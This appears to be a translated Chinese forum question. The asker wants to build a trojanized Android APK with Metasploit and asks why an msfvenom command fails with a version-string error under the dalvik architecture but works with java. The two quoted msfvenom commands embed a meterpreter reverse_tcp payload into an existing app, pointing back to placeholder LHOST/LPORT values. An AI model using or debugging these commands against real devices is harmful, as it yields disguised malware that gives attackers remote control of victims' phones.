我正在尝试使用 metasploit 为 android 创建一个 Trojan apk,这是我正在使用的命令:
msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
我收到了这个错误:
Error: Malformed version number string 10:55:45 up 1:23, 1 user, load average: 0.62, 0.54, 0.39
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user123 tty7 :0 09:32 1:23m 1:10 0.13s /sbin/upstart --user
2.0.2-dirty
然后我尝试选择不同的架构,例如java:
msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
它起作用了(生成了一些东西-Out.apk)。所以似乎Malformed version number string
只有在选择 dalvik 作为架构时才会发生错误,知道为什么会发生这种情况以及如何解决它吗?
我在 VirtualBox 上的 Ubuntu 上执行此操作,它是从 Mac 运行的。任何帮助将不胜感激,谢谢!